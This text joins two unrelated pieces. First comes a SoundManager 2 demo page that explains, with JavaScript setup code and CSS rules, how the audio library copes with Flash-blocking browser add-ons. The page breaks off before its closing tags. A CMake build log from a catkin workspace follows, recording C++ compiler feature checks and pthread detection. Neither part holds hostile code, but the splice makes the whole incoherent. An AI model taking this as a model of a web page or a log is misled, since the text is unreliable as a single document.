<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>SoundManager 2: Flash Block handling examples</title> <meta name="description" content="Demo of SoundManager 2 handling flashblock / "click to flash" blockers gracefully" /> <meta name="keywords" content="javascript sound, javascript audio, DHTML sound, flashblock, flash blocker, handling flashblock, click to flash, click2flash" /> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252" /> <!-- design template, you don't need this --> <link rel="stylesheet" type="text/css" href="../index.css" /> <link rel="stylesheet" type="text/css" href="../debug.css" /> <!-- actual flashblock demo stuff, this is for you --> <link rel="stylesheet" type="text/css" href="flashblock.css" /> <script> function loadScript(sURL, onLoad) { function loadScriptHandler() { var rs = this.readyState; if (rs == 'loaded' || rs == 'complete') { this.onreadystatechange = null; this.onload = null; if (onLoad) { onLoad(); } } } function scriptOnload() { this.onreadystatechange = null; this.onload = null; window.setTimeout(onLoad,20); } var oS = document.createElement('script'); oS.type = 'text/javascript'; if (onLoad) { oS.onreadystatechange = loadScriptHandler; oS.onload = scriptOnload; } oS.src = sURL; document.getElementsByTagName('head')[0].appendChild(oS); } function msg(s) { console.info(s); } window.onload = function() { msg('Window loaded, waiting 1 second...'); setTimeout(function() { msg('Loading soundmanager2.js...'); loadScript('../../script/soundmanager2.js', function() { // SM2 script has loaded window.setTimeout(function() { msg('soundmanager2.js loaded, delaying before setup()...'); }, 500); window.setTimeout(function() { soundManager.setup({ // enable flash block handling useFlashBlock: true, // making sure this demo uses flash, of course... preferFlash: true, // custom demo options, not for your needs debugMode: true, url: '../../swf/' }); var winLoc = window.location.toString(); if (winLoc.match(/flash9/i)) { soundManager.setup({ flashVersion: 9 }); if (winLoc.match(/highperformance/i)) { soundManager.setup({ useHighPerformance: true }); } } else if (winLoc.match(/flash8/i)) { soundManager.setup({ flashVersion: 8 }); } soundManager.ontimeout(function(){ var loaded = soundManager.getMoviePercent(); document.getElementById('sm2-status').innerHTML = 'No response (yet), flash movie '+(loaded?'loaded OK (likely security/error case)':'has not loaded (likely flash-blocked.)')+' Waiting indefinitely ...'; }); soundManager.onready(function(){ var loaded = soundManager.getMoviePercent(); document.getElementById('sm2-status').innerHTML = 'SoundManager load OK'; }); // ensure start-up in case document.readyState and/or DOMContentLoaded are unavailable soundManager.beginDelayedInit(); }, 1000); }); },1000); } </script> </head> <body> <div style="margin:1em;max-width:60em"> <h1><a href="http://www.schillmania.com/projects/soundmanager2/">SoundManager 2</a>: Flashblock / "click to flash" handling demos</h1> <h3>Show SWF inline, wait indefinitely for load (click-to-run or whitelist)</h3> <p class="note">You can run this demo with <a href="#flash8" onclick="window.location.replace(this.href);window.location.reload()">Flash 8</a> (default), <a href="#flash9" onclick="window.location.replace(this.href);window.location.reload()">Flash 9</a> (normal mode) or <a href="#flash9-highperformance" onclick="window.location.replace(this.href);window.location.reload()">Flash 9 + highPerformance mode</a> (higher JS callback frequency).</p> <h4>Where (and when) to show the SWF</h4> <p>To handle potential flash block cases, put <code><div id="sm2-container"></div></code> in your markup where you'd like the SWF to appear in those cases. If not specified, SM2 will create and append the <code>#sm2-container</code> node to the document when it starts.</p> <p>When <code>soundManager.useFlashBlock</code> is true, SM2 will not apply styles (eg. <code>style.position.left</code>) directly to the flash; rather, it will assign CSS classes and you can handle it as you choose. Take a look at <a href="#flashblock-css">the related CSS</a> file you will also need if you turn this feature on.</p> <h4>Handling failed start-up cases</h4> <p>In the blocked/failed start-up case, <code>#sm2-container</code> will have a class name of <code>swf_timedout</code> applied to it.</p> <p>SM2 will start its init process, and will fire <code>onready()</code>, <code>onload()</code> and <code>onerror()</code> handlers accordingly. Keep in mind that while <code>onerror()</code> may fire at first, it may be preceded by a successful <code>onload()</code> if the user first loads the page and then later unblocks the flash movie.</p> <p>Note that flash blockers may not run when viewing offline (via <code>file://</code>) content, so try viewing this demo online. For FlashBlock (under Firefox), you can also go to <code>about:config</code> using your address bar and change the value of <code>flashblock.blockLocal</code> to test while offline.</p> <h3>Flash Block Example</h3> <p>Here, Flash is appended by SM2 to the <code>#sm2-container</code> DIV and after a failed start attempt (if you have a blocker active), will have a <code>swf_timedout</code> class appended.</p> <p>The SWF uses <code>position:absolute</code> and negative left/top values so as not to affect the normal page layout, but shifts to <code>left:auto;top:auto</code> (effectively left/top:0) in the blocked case, and becomes visible to the user. On a successful unblock, the movie goes back to left/top:-9999em and is hidden from view.</p> <p>SoundManager 2 load status: <b id="sm2-status">Loading...</b></p> <!-- here is where the SWF is shown in the blocked / failed start-up case. --> <div id="sm2-container"> <!-- flash is appended here --> </div> <h3 id="flashblock-css">Flash Block-related CSS</h3> <p>When <code>soundManager.useFlashBlock</code> is enabled, CSS is applied to <code>#sm2-container</code> depending on the progress of SM2's start-up.</p> <p>This page + demos use the rules below, fully-defined and commented in <a href="flashblock.css">flashblock.css</a>. Use it as a base for your own SM2 + flash block implementations.</p> <pre class="block"><code>#sm2-container { <span><span>/* Initial state: position:absolute/off-screen, or left/top:0 */</span></span> } #sm2-container.swf_timedout { <span><span>/* Didn't load before time-out, show to user. Maybe highlight on-screen, red border, etc..? */</span></span> } #sm2-container.swf_unblocked { <span><span>/* Applied if movie loads successfully after an unblock (flash started, so move off-screen etc.) */</span></span> } #sm2-container.swf_loaded { <span><span>/* Applied if movie loads, regardless of whether it was initially blocked */</span></span> } #sm2-container.swf_error { <span><span>/* "Fatal" error case: SWF loaded, but SM2 was unable to start for some reason. (Flash security or other error case.) */</span></span> } #sm2-container.high_performance { <span><span>/* Additional modifier for "high performance" mode should apply position:fixed and left/bottom 0 to stay on-screen at all times (better flash performance) */</span></span> } #sm2-container.flash_debug { <span><span>/* Additional modifier for flash debug output mode should use width/height 100% so you can read debug messages */</span></span> }</code></pre> <h3>Basic Demo</h3> <p>For a more minimal example, see the <a href="basic.html" title="SoundManager 2: Basic Flashblock handling demo">basic flashblock demo</a>.</p> </div>
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/usr/bin/c++ CMakeFiles/cmTC_66dd9.dir/feature_tests.cxx.o -o cmTC_66dd9 -rdynamic make[1]: Leaving directory '/home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp' Feature record: CXX_FEATURE:1cxx_aggregate_default_initializers Feature record: CXX_FEATURE:1cxx_alias_templates Feature record: CXX_FEATURE:1cxx_alignas Feature record: CXX_FEATURE:1cxx_alignof Feature record: CXX_FEATURE:1cxx_attributes Feature record: CXX_FEATURE:1cxx_attribute_deprecated Feature record: CXX_FEATURE:1cxx_auto_type Feature record: CXX_FEATURE:1cxx_binary_literals Feature record: CXX_FEATURE:1cxx_constexpr Feature record: CXX_FEATURE:1cxx_contextual_conversions Feature record: CXX_FEATURE:1cxx_decltype Feature record: CXX_FEATURE:1cxx_decltype_auto Feature record: CXX_FEATURE:1cxx_decltype_incomplete_return_types Feature record: CXX_FEATURE:1cxx_default_function_template_args Feature record: CXX_FEATURE:1cxx_defaulted_functions Feature record: CXX_FEATURE:1cxx_defaulted_move_initializers Feature record: CXX_FEATURE:1cxx_delegating_constructors Feature record: CXX_FEATURE:1cxx_deleted_functions Feature record: CXX_FEATURE:1cxx_digit_separators Feature record: CXX_FEATURE:1cxx_enum_forward_declarations Feature record: CXX_FEATURE:1cxx_explicit_conversions Feature record: CXX_FEATURE:1cxx_extended_friend_declarations Feature record: CXX_FEATURE:1cxx_extern_templates Feature record: CXX_FEATURE:1cxx_final Feature record: CXX_FEATURE:1cxx_func_identifier Feature record: CXX_FEATURE:1cxx_generalized_initializers Feature record: CXX_FEATURE:1cxx_generic_lambdas Feature record: CXX_FEATURE:1cxx_inheriting_constructors Feature record: CXX_FEATURE:1cxx_inline_namespaces Feature record: CXX_FEATURE:1cxx_lambdas Feature record: CXX_FEATURE:1cxx_lambda_init_captures Feature record: CXX_FEATURE:1cxx_local_type_template_args Feature record: CXX_FEATURE:1cxx_long_long_type Feature record: CXX_FEATURE:1cxx_noexcept Feature record: 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Feature record: CXX_FEATURE:1cxx_variable_templates Feature record: CXX_FEATURE:1cxx_variadic_macros Feature record: CXX_FEATURE:1cxx_variadic_templates Detecting CXX [-std=c++11] compiler features compiled with the following output: Change Dir: /home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp Run Build Command:"/usr/bin/make" "cmTC_105dc/fast" /usr/bin/make -f CMakeFiles/cmTC_105dc.dir/build.make CMakeFiles/cmTC_105dc.dir/build make[1]: Entering directory '/home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp' Building CXX object CMakeFiles/cmTC_105dc.dir/feature_tests.cxx.o /usr/bin/c++ -std=c++11 -o CMakeFiles/cmTC_105dc.dir/feature_tests.cxx.o -c /home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/feature_tests.cxx Linking CXX executable cmTC_105dc /usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_105dc.dir/link.txt --verbose=1 /usr/bin/c++ CMakeFiles/cmTC_105dc.dir/feature_tests.cxx.o -o cmTC_105dc -rdynamic make[1]: Leaving directory '/home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp' Feature record: CXX_FEATURE:0cxx_aggregate_default_initializers Feature record: CXX_FEATURE:1cxx_alias_templates Feature record: CXX_FEATURE:1cxx_alignas Feature record: CXX_FEATURE:1cxx_alignof Feature record: CXX_FEATURE:1cxx_attributes Feature record: CXX_FEATURE:0cxx_attribute_deprecated Feature record: CXX_FEATURE:1cxx_auto_type Feature record: CXX_FEATURE:0cxx_binary_literals Feature record: CXX_FEATURE:1cxx_constexpr Feature record: CXX_FEATURE:0cxx_contextual_conversions Feature record: CXX_FEATURE:1cxx_decltype Feature record: CXX_FEATURE:0cxx_decltype_auto Feature record: CXX_FEATURE:1cxx_decltype_incomplete_return_types Feature record: CXX_FEATURE:1cxx_default_function_template_args Feature record: CXX_FEATURE:1cxx_defaulted_functions Feature record: CXX_FEATURE:1cxx_defaulted_move_initializers Feature record: CXX_FEATURE:1cxx_delegating_constructors Feature record: CXX_FEATURE:1cxx_deleted_functions Feature record: CXX_FEATURE:0cxx_digit_separators Feature record: CXX_FEATURE:1cxx_enum_forward_declarations Feature record: CXX_FEATURE:1cxx_explicit_conversions Feature record: CXX_FEATURE:1cxx_extended_friend_declarations Feature record: CXX_FEATURE:1cxx_extern_templates Feature record: CXX_FEATURE:1cxx_final Feature record: CXX_FEATURE:1cxx_func_identifier Feature record: CXX_FEATURE:1cxx_generalized_initializers Feature record: CXX_FEATURE:0cxx_generic_lambdas Feature record: CXX_FEATURE:1cxx_inheriting_constructors Feature record: CXX_FEATURE:1cxx_inline_namespaces Feature record: CXX_FEATURE:1cxx_lambdas Feature record: CXX_FEATURE:0cxx_lambda_init_captures Feature record: CXX_FEATURE:1cxx_local_type_template_args Feature record: CXX_FEATURE:1cxx_long_long_type Feature record: CXX_FEATURE:1cxx_noexcept Feature record: CXX_FEATURE:1cxx_nonstatic_member_init Feature record: CXX_FEATURE:1cxx_nullptr Feature record: CXX_FEATURE:1cxx_override Feature record: CXX_FEATURE:1cxx_range_for Feature record: CXX_FEATURE:1cxx_raw_string_literals Feature record: CXX_FEATURE:1cxx_reference_qualified_functions Feature record: CXX_FEATURE:0cxx_relaxed_constexpr Feature record: CXX_FEATURE:0cxx_return_type_deduction Feature record: CXX_FEATURE:1cxx_right_angle_brackets Feature record: CXX_FEATURE:1cxx_rvalue_references Feature record: CXX_FEATURE:1cxx_sizeof_member Feature record: CXX_FEATURE:1cxx_static_assert Feature record: CXX_FEATURE:1cxx_strong_enums Feature record: CXX_FEATURE:1cxx_template_template_parameters Feature record: CXX_FEATURE:1cxx_thread_local Feature record: CXX_FEATURE:1cxx_trailing_return_types Feature record: CXX_FEATURE:1cxx_unicode_literals Feature record: CXX_FEATURE:1cxx_uniform_initialization Feature record: CXX_FEATURE:1cxx_unrestricted_unions Feature record: CXX_FEATURE:1cxx_user_literals Feature record: CXX_FEATURE:0cxx_variable_templates Feature record: CXX_FEATURE:1cxx_variadic_macros Feature record: CXX_FEATURE:1cxx_variadic_templates Detecting CXX [-std=c++98] compiler features compiled with the following output: Change Dir: /home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp Run Build Command:"/usr/bin/make" "cmTC_6dda5/fast" /usr/bin/make -f CMakeFiles/cmTC_6dda5.dir/build.make CMakeFiles/cmTC_6dda5.dir/build make[1]: Entering directory '/home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp' Building CXX object CMakeFiles/cmTC_6dda5.dir/feature_tests.cxx.o /usr/bin/c++ -std=c++98 -o CMakeFiles/cmTC_6dda5.dir/feature_tests.cxx.o -c /home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/feature_tests.cxx Linking CXX executable cmTC_6dda5 /usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_6dda5.dir/link.txt --verbose=1 /usr/bin/c++ CMakeFiles/cmTC_6dda5.dir/feature_tests.cxx.o -o cmTC_6dda5 -rdynamic make[1]: Leaving directory '/home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp' Feature record: CXX_FEATURE:0cxx_aggregate_default_initializers Feature record: CXX_FEATURE:0cxx_alias_templates Feature record: CXX_FEATURE:0cxx_alignas Feature record: CXX_FEATURE:0cxx_alignof Feature record: CXX_FEATURE:0cxx_attributes Feature record: CXX_FEATURE:0cxx_attribute_deprecated Feature record: CXX_FEATURE:0cxx_auto_type Feature record: CXX_FEATURE:0cxx_binary_literals Feature record: CXX_FEATURE:0cxx_constexpr Feature record: CXX_FEATURE:0cxx_contextual_conversions Feature record: CXX_FEATURE:0cxx_decltype Feature record: CXX_FEATURE:0cxx_decltype_auto Feature record: CXX_FEATURE:0cxx_decltype_incomplete_return_types Feature record: CXX_FEATURE:0cxx_default_function_template_args Feature record: CXX_FEATURE:0cxx_defaulted_functions Feature record: CXX_FEATURE:0cxx_defaulted_move_initializers Feature record: CXX_FEATURE:0cxx_delegating_constructors Feature record: CXX_FEATURE:0cxx_deleted_functions Feature record: CXX_FEATURE:0cxx_digit_separators Feature record: CXX_FEATURE:0cxx_enum_forward_declarations Feature record: CXX_FEATURE:0cxx_explicit_conversions Feature record: CXX_FEATURE:0cxx_extended_friend_declarations Feature record: CXX_FEATURE:0cxx_extern_templates Feature record: CXX_FEATURE:0cxx_final Feature record: CXX_FEATURE:0cxx_func_identifier Feature record: CXX_FEATURE:0cxx_generalized_initializers Feature record: CXX_FEATURE:0cxx_generic_lambdas Feature record: CXX_FEATURE:0cxx_inheriting_constructors Feature record: CXX_FEATURE:0cxx_inline_namespaces Feature record: CXX_FEATURE:0cxx_lambdas Feature record: CXX_FEATURE:0cxx_lambda_init_captures Feature record: CXX_FEATURE:0cxx_local_type_template_args Feature record: CXX_FEATURE:0cxx_long_long_type Feature record: CXX_FEATURE:0cxx_noexcept Feature record: CXX_FEATURE:0cxx_nonstatic_member_init Feature record: CXX_FEATURE:0cxx_nullptr Feature record: CXX_FEATURE:0cxx_override Feature record: CXX_FEATURE:0cxx_range_for Feature record: CXX_FEATURE:0cxx_raw_string_literals Feature record: CXX_FEATURE:0cxx_reference_qualified_functions Feature record: CXX_FEATURE:0cxx_relaxed_constexpr Feature record: CXX_FEATURE:0cxx_return_type_deduction Feature record: CXX_FEATURE:0cxx_right_angle_brackets Feature record: CXX_FEATURE:0cxx_rvalue_references Feature record: CXX_FEATURE:0cxx_sizeof_member Feature record: CXX_FEATURE:0cxx_static_assert Feature record: CXX_FEATURE:0cxx_strong_enums Feature record: CXX_FEATURE:1cxx_template_template_parameters Feature record: CXX_FEATURE:0cxx_thread_local Feature record: CXX_FEATURE:0cxx_trailing_return_types Feature record: CXX_FEATURE:0cxx_unicode_literals Feature record: CXX_FEATURE:0cxx_uniform_initialization Feature record: CXX_FEATURE:0cxx_unrestricted_unions Feature record: CXX_FEATURE:0cxx_user_literals Feature record: CXX_FEATURE:0cxx_variable_templates Feature record: CXX_FEATURE:0cxx_variadic_macros Feature record: CXX_FEATURE:0cxx_variadic_templates Determining if the include file pthread.h exists passed with the following output: Change Dir: /home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp Run Build Command:"/usr/bin/make" "cmTC_3f336/fast" /usr/bin/make -f CMakeFiles/cmTC_3f336.dir/build.make CMakeFiles/cmTC_3f336.dir/build make[1]: Entering directory '/home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp' Building C object CMakeFiles/cmTC_3f336.dir/CheckIncludeFile.c.o /usr/bin/cc -o CMakeFiles/cmTC_3f336.dir/CheckIncludeFile.c.o -c /home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp/CheckIncludeFile.c Linking C executable cmTC_3f336 /usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_3f336.dir/link.txt --verbose=1 /usr/bin/cc CMakeFiles/cmTC_3f336.dir/CheckIncludeFile.c.o -o cmTC_3f336 -rdynamic make[1]: Leaving directory '/home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp' Determining if the function pthread_create exists in the pthread passed with the following output: Change Dir: /home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp Run Build Command:"/usr/bin/make" "cmTC_8d755/fast" /usr/bin/make -f CMakeFiles/cmTC_8d755.dir/build.make CMakeFiles/cmTC_8d755.dir/build make[1]: Entering directory '/home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp' Building C object CMakeFiles/cmTC_8d755.dir/CheckFunctionExists.c.o /usr/bin/cc -DCHECK_FUNCTION_EXISTS=pthread_create -o CMakeFiles/cmTC_8d755.dir/CheckFunctionExists.c.o -c /usr/share/cmake-3.5/Modules/CheckFunctionExists.c Linking C executable cmTC_8d755 /usr/bin/cmake -E cmake_link_script CMakeFiles/cmTC_8d755.dir/link.txt --verbose=1 /usr/bin/cc -DCHECK_FUNCTION_EXISTS=pthread_create CMakeFiles/cmTC_8d755.dir/CheckFunctionExists.c.o -o cmTC_8d755 -rdynamic -lpthread make[1]: Leaving directory '/home/vishwajeet/catkin_ws/build_isolated/my_package/CMakeFiles/CMakeTmp'